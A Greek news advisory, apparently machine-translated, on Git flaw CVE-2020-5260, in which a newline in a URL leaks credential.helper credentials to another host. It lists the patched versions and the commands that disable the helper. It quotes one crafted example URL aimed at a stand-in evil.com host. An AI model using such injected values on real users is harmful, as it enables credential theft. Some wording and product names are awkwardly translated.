Ευπάθεια διαρροής διαπιστευτηρίων Git

Δημοσίευσε διορθωτικές εκδόσεις του συστήματος ελέγχου κατανεμημένης πηγής Git 2.26.1, 2.25.3, 2.24.2, 2.23.2, 2.22.3, 2.21.2, 2.20.3, 2.19.4, 2.18.3 και 2.17.4, σε που εξάλειψε τρωτό (CVE-2020-5260) στον χειριστή "διαπιστευτήριο.βοηθός", που προκαλεί την αποστολή διαπιστευτηρίων σε λάθος κεντρικό υπολογιστή όταν ένας πελάτης git αποκτά πρόσβαση σε ένα χώρο αποθήκευσης χρησιμοποιώντας μια ειδικά διαμορφωμένη διεύθυνση URL που περιέχει έναν χαρακτήρα νέας γραμμής. Η ευπάθεια μπορεί να χρησιμοποιηθεί για τη διευθέτηση της αποστολής διαπιστευτηρίων από άλλο κεντρικό υπολογιστή σε διακομιστή που ελέγχεται από τον εισβολέα.

Όταν καθορίζετε μια διεύθυνση URL όπως "https://evil.com?%0ahost=github.com/", ο χειριστής διαπιστευτηρίων κατά τη σύνδεση στον κεντρικό υπολογιστή evil.com θα μεταβιβάσει τις παραμέτρους ελέγχου ταυτότητας που καθορίζονται για το github.com. Το πρόβλημα παρουσιάζεται κατά την εκτέλεση λειτουργιών όπως "git clone", συμπεριλαμβανομένης της επεξεργασίας διευθύνσεων URL για υπομονάδες (για παράδειγμα, η "ενημέρωση υπομονάδας git" θα επεξεργαστεί αυτόματα τις διευθύνσεις URL που καθορίζονται στο αρχείο .gitmodules από το χώρο αποθήκευσης). Η ευπάθεια είναι πιο επικίνδυνη σε περιπτώσεις όπου ένας προγραμματιστής κλωνοποιεί ένα αποθετήριο χωρίς να δει τη διεύθυνση URL, για παράδειγμα, όταν εργάζεται με υπομονάδες ή σε συστήματα που εκτελούν αυτόματες ενέργειες, για παράδειγμα, σε σενάρια δημιουργίας πακέτων.

Για να αποκλείσετε ευπάθειες σε νέες εκδόσεις απαγορευμένος περνώντας έναν χαρακτήρα νέας γραμμής σε οποιεσδήποτε τιμές μεταδίδονται μέσω του πρωτοκόλλου ανταλλαγής διαπιστευτηρίων. Για διανομές, μπορείτε να παρακολουθείτε την κυκλοφορία των ενημερώσεων πακέτων στις σελίδες Debian, Ubuntu, RHEL, SUSE/openSUSE, Μαλακό καπέλλο, αψίδα, FreeBSD.

Ως λύση για τον αποκλεισμό του προβλήματος συνιστάται Μην χρησιμοποιείτε το credential.helper κατά την πρόσβαση σε δημόσια αποθετήρια και μην χρησιμοποιείτε το "git clone" στη λειτουργία "--recurse-submodules" με μη επιλεγμένα αποθετήρια. Για να απενεργοποιήσετε πλήρως το πρόγραμμα χειρισμού credential.helper, το οποίο συμβαίνει συντήρηση και ανάκτηση κωδικών πρόσβασης από κρύπτη, προστατευμένο αποθετήρια ή ένα αρχείο με κωδικούς πρόσβασης, μπορείτε να χρησιμοποιήσετε τις εντολές:

git config --unset credential.helper
git config --global --unset credential.helper
git config --system --unset credential.helper

Πηγή: opennet.ru

Προσθέστε ένα σχόλιο